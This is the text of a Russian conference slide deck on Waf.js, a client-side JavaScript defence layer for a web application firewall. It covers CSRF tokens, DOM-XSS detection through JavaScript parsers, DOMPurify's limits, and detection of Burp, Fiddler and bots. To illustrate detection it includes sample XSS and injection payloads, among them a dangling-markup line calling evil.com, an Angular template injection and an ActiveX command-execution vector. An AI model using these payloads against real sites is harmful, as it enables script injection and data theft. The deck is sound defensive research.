Ведущие: Денис Колегов и Арсений Реутов
Авторы доклада продемонстрируют, как внедрение клиентских сценариев JavaScript может быть использовано для обнаружения и предотвращения различных атак, поиска уязвимых клиентских компонент, определения утечек данных об инфраструктуре веб-приложений, выявления веб-ботов и инструментальных средств нападения. Поделятся собственными методами обнаружения инъекций при помощи синтаксических анализаторов без сигнатур и фильтрующих регулярных выражений, а также рассмотрят реализацию концепции JavaScript-ловушек на стороне клиента для атак SSRF, IDOR, Command Injection и CSRF.
4. ptsecurity.com
Waf.js
4
Waf.js - механизм многоуровневой защиты PT Application Firewall от
атак на клиентской стороне, реализованный в виде набора
JavaScript-модулей
Основные возможности
• Защита от атак CSRF
• Защита от атак DOM-XSS
• Защита от Reverse Clickjacking/SOME
• Обнаружение нежелательного ПО
9. ptsecurity.com
Защита от CSRF
9
Добавление скрытого поля csrf-token
• в каждую статическую форму полученного html-документа
• в каждую динамически добавляемую форму через MutationObserver
Отсутствие ложных срабатываний для различных REST API,
работающих c JSON/XML
• проверяются только запросы с заголовками Content-Type,
соответствующими HTML-формам
10. ptsecurity.com
Защита от CSRF
10
Добавление заголовка X-CSRF-Token к каждому отправляемому
запросу средствами AJAX
• Переопределяется метод send у объекта XMLHttpRequest через
window.XMLHttpRequest.Prototype
• Для старых версий IE переопределяются соответствующие методы у
популярных библиотек (jQuery, mootools, ExtJS, etc).
12. ptsecurity.com
Защита от Reverse Clickjacking/SOME
12
Атака Reverse Clickjacking/SOME
•
•
Недостаток - контролируемые нарушителем данные попадают
без предварительной обработки в контекст вызова функции
JavaScript
Пример
https://ex.com/InCallback/#q=urc_button.click
Павел Топорков. Две истории об уязвимостях в сервисах Google
Ben Hayak. Same Origin Method Execution
13. ptsecurity.com
Защита от Reverse Clickjacking/SOME
13
function sanitize(s) {
if (typeof getProperty(window, s) === 'function') {
s = '';
}
return s;
}
Минимальный вариант проверки
Возможный вариант на основе _isClobbered в DOMPurify
function sanitize(s) {
if (typeof getProperty(window, s) !== 'string') {
s = '';
}
return s;
}
15. ptsecurity.com
Нежелательное ПО
15
Виды
• Боты: phantomJS-боты, selenium
• Эсплоиты: beef, sonar, xbackdoor
• Анализ приложений: burp, zap, acunetix, fiddler, dominator
Методы обнаружения
• Анализ свойств объекта Window
• Использование виртуальных имен (burp, zap)
• Сканирование портов с помощью <IMG>
Alcorn, Frichot, Orru. The Browser Hacker’s Handbook
19. ptsecurity.com
Обнаружение Burp в Waf.js
19
function detectBurp(){
var img = new Image();
img.src = 'http://burp/favicon.ico';
img.onload = function() {
console.log("Burp environment detected.");
};
}
20. ptsecurity.com
Обнаружение Fiddler в Waf.js
20
var timeout = 150;
function detectFiddler() {
if (!allowInsecureDetectors) {
return;
}
if (window.navigator.platform.substring(0,3) === 'Lin') {
return;
}
var t = new Date().getTime();
var img = new Image();
img.src = 'http://127.0.0.1:8888/FiddlerRoot.cer';
img.onerror = function() {
if (new Date().getTime() - t < timeout) {
console.log("Fiddler environment detected.");
}
};
}
22. ptsecurity.com
Challenges
22
Реализация на стороне клиента
Не можем применять taint-анализ данных, поступающих от пользователя
(à la DOMinator)
Не знаем контекст, в котором могут оказаться пользовательские данные
Множество потенциальных источников, синков и контекстов для
выполнения JavaScript
Не можем ожидать полной загрузки всех скриптов
Важно не только предотвращать, но и обнаруживать атаки
23. ptsecurity.com
Исследования
23
Server-Side XSS Attack Detection with ModSecurity
and PhantomJS
Precise Client-side Protection against DOM-based
Cross-Site Scripting
Towards Elimination of XSS Attacks with a Trusted and
Capability Controlled DOM (Mario Heiderich)
24. ptsecurity.com
Как обнаружить XSS?
24
Знать где искать – источники, контролируемые нарушителем
• location
• window.name
• storages
Знать признаки атаки – возможность изменения дерева разбора в
одном из контекстов
• HTML/DOM
• JavaScript
• Attribute
• URL
26. ptsecurity.com
Стратегия защиты от DOM-XSS
26
Получить
данные
Содержат
опасный
HTML?
Содержат опасные
элементы
JavaScript ?
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
Да
Да
Нет
Нет
28. ptsecurity.com
DOMPurify
28
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности
– Точный механизм
– Инструмент для разработчиков
– Удаление вредоносного и запрещенного кода из HTML/MathML/SVG
– Поддерживает механизм хуков
29. ptsecurity.com
Что может DOMPurify
29
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789';
var policy = {FORBID_TAGS: ['a', 'b']};
var clean = DOMPurify.sanitize(dirty, policy);
clean; //123456789
var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>';
var clean = DOMPurify.sanitize(dirty);
clean; // "123<a>I am a dolphin too!</a>"
var dirty = '<a x="1">123<b>456</b></a>';
var policy = {FORBID_ATTR: ['x']};
var clean = DOMPurify.sanitize(dirty, policy);
clean; //"<a>123<b>456</b></a>"
30. ptsecurity.com
Что может DOMPurify
30
Предотвращать атаки DOMClobbering
var dirty = '<img src=x name=createElement><img src=y id=createElement>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x"><img src="y">"
var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<form><input>123</form>"
var dirty = '<img src=x name=cookie>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x">"
31. ptsecurity.com
Что может DOMPurify
31
Предотвращать атаки на структуру HTML
var dirty = '<img src='http://evil.com/log.cgi?';
var clean = DOMPurify.sanitize(dirty);
clean;// ""
dirty = '<script src=//14.rs a="';
clean = DOMPurify.sanitize(dirty);
clean; // ""
Dangling markup injection
http://lcamtuf.coredump.cx/postxss/
http://blog.innerht.ml/csp-2015/
32. ptsecurity.com
Особенности DOMPurify
32
Изменение входной строки
• Изменение порядка атрибутов
• Добавление двойных кавычек
• Добавление закрывающего тега
Если в строке отсутствует символ "<", то DOMPurify ничего не
делает
/* Input modification */
DOMPurify.sanitize("<svg width=1 height='2'>");
// "<svg height="2" width="1"></svg>"
/* DOMPurify does nothing if an input does not contain "<" */
DOMPurify.sanitize("alert(1);");
// "alert(1);//"
33. ptsecurity.com
Что не может DOMPurify
33
Предотвращать JavaScript-инъекции
http://ex.com/foo.html#a';alert(1);//
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>");
// dirty = "bar';alert(1);//"
// clean = "bar';alert(1);//"
<script> var foo = 'a';alert(1);//'<script>
34. ptsecurity.com
Что не может DOMPurify
34
Предотвращать Attribute-based-инъекции
http://ex.com/foo.html#' onload='alert(1);
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<img src='pic.jpg' width='" + width + "px'/>");
// dirty = "' onload='alert(1);"
// clean = "' onload='alert(1);"
<img src='pic.jpg' width='' onload=alert(1);px'/>");
35. ptsecurity.com
Что не может DOMPurify
35
Предотвращать JavaScript-инъекции в контексте URL
http://ex.com/foo.html#javascript:alert(1);
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<a href='"+clean+"'>Link</a>");
// dirty = "javascript:alert(1)"
// clean = "javascript:alert(1)"
<a href='javascript:alert(1)'>Link</a>");
36. ptsecurity.com
Что не может DOMPurify
36
Предотвращать атаки Reverse Clickjacking/SOME
http://ex.com/foo.html#delete_button.click
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
var url = '/re?q=' + clean + '&callback=' + clean + '';
var s = document.createElement('script');
s.src = url;
document.body.appendChild(s);
// dirty = "delete_button.click"
// clean = "delete_button.click"
<script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');
38. ptsecurity.com
Стратегия защиты от DOM-XSS
38
Получить
данные
isDOMPurified()
Содержат опасные
элементы
JavaScript ?
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
True
Да
False
Нет
39. ptsecurity.com
Подходы к обнаружению инъекций для WAF
39
Лексический (регулярные выражения)
Лексико-сигнатурный
• libinjection (Nick Galbreath)
Синтаксический
• на основе генерации парсеров - libdetection (Wallarm)
• на основе адаптации парсеров - Waf.js (Positive Technologies)
40. ptsecurity.com
Предлагаемый подход
40
Разрешать данные, если соответствующий им JavaScript-код не
содержит опасных конструкций
Использование готовых синтаксических анализаторов (парсеров)
JavaScript
Подход универсален и может быть использован для обнаружению
любых инъекций при наличии соответствующих парсеров
Подход эвристический
44. ptsecurity.com
Разработка методов обнаружения
44
Этапы
• Вычисление контекста
• Построение дерева разбора
• Поиск вредоносного кода в дереве разбора
• Восстановление поиска
Методы поиска
• в заданных шаблонах
• с восстановлением на основе ошибок
• с левым приведением (удалением токенов слева)
• устойчивые к ошибкам
45. ptsecurity.com
Вычисление контекста
45
Проблема
• Дерево разбора для alert(1) содержит узел типа CallExpression
• Дерево разбора для ";alert(1);" не содержит узел типа CallExpression
Шаблоны поиска
var a = "<>";
Вычисление токенов
";alert(1);" – 1 токен
' ";alert(1);" – 1 токен
"";alert(1);" – 8 токенов
parse(var a = "";alert(1);"")
parse("";alert(1);")
47. ptsecurity.com
Поиск вредоносного кода в JavaScript
47
Опасные конструкции в простейшем случае задаются перечнем
типов узлов ESTree
Для уменьшения числа ложных срабатываний могут быть
использованы дополнительные проверки на основе родительских
или дочерних узлов
Далее в примерах (для простоты изложения) считается, что список
ограничен узлами типа CallExpression
48. ptsecurity.com
Поиск в дереве разбора
48
Что делать когда дерево разбора не может быть построено?
""};alert(1);var f={t:"
function sanitize(dirty) {
var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree;
tree = esprima.parse(dirty);
estraverse.traverse(tree, {
enter: function(node) {
if (node.type === 'CallExpression') {
return clean;
}
}
});
return dirty;
}
Обход дерева (esprima/estraverse)
49. ptsecurity.com
Восстановление поиска
49
Правое приведение (удаление токенов справа)
""};alert(1);var f={t:" ""};alert(1);
Эвристически изменять вход парсера на основе информации об
ошибках разбора на предыдущем шаге
Останавливаться в построении дерева как только обнаружили
запрещенные узлы
50. ptsecurity.com
Восстановление поиска
50
function sanitize(dirty) {
var acorn = require('acorn'), detected = false, clean = '', tree ;
acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {
return function(code, node) {
if(node === 'CallExpression') {
detected = true;
}
return nextMethod.call(this, code, node);
}
})
};
tree = acorn.parse(payload, {plugins: {detectCallExpression: true}});
if (detected) {
return clean;
}
return dirty;
}
Возможность изменять методы разбора имеется только у Acorn
51. ptsecurity.com
Идеальный парсер
51
Написан на JavaScript
Работает в веб-браузере
Высокопроизводительный
Соответствует стандартам (ECMAScript, ESTree)
Имеет возможность изменять методы разбора
Возвращает информацию об ошибках
Может работать в режиме толерантности к ошибкам (error-tolerant
parser)
52. ptsecurity.com
Методы поиска
52
Этапы
• Вычисление контекста
• Построение дерева разбора
• Поиск вредоносного кода в дереве разбора
• Восстановление поиска
Методы поиска
• в заданных шаблонах
• с восстановлением на основе ошибок
• с левым приведением (удалением токенов слева)
• устойчивые к ошибкам
66. ptsecurity.com
Метод поиска с левым приведением
66
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens - список JS-токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если s непустое, то перейти на шаг 2
76. ptsecurity.com
Примеры обнаруживаемых векторов
76
http://friendfeed.com/api/feed/public?callback=var WshShell=new
ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6
alert`1`
https://developer.uber.com/docs/deep-
linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyD
escriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
77. ptsecurity.com
Толерантность к ошибкам
77
)},{0:prompt(1
Prompt.ml Challenge Hidden Level 4
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body onload="think.out.of.the.box(' + input + ')">';
}
return '<body onload="think.out.of.the.box()},{0:prompt(1)">';
"… the solution might work for some older versions of Chrome, while for others, a
different vector would be needed…"
79. ptsecurity.com
Стратегия защиты от DOM-XSS
79
Получить
данные
isDOMPurified()
isJSParsed()
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
True
True
False
False
80. ptsecurity.com
Минимизация ложных срабатываний
80
Расширенная конфигурация
• Классы источников
• Контексты для источников и отдельных параметров
• Запрещенные узлы ESTree
Реализация дополнительных проверок в модулях Acorn
Предустановленные профили защиты
Тестирование
#Идея taint-анализа: sources, sinks, запрещенные информационные потоки
#На WAF мы наблюдаем только источники, контролируемые пользователем, вместо sink – используем контексты
#Запрос запрещен, если он содержит данные, которые потенциально могут быть вредоносными в одном из контекстов
#Идея taint-анализа: sources, sinks, запрещенные информационные потоки
#На WAF мы наблюдаем только источники, контролируемые пользователем, вместо sink – используем контексты
#Запрос запрещен, если он содержит данные, которые потенциально могут быть вредоносными в одном из контекстов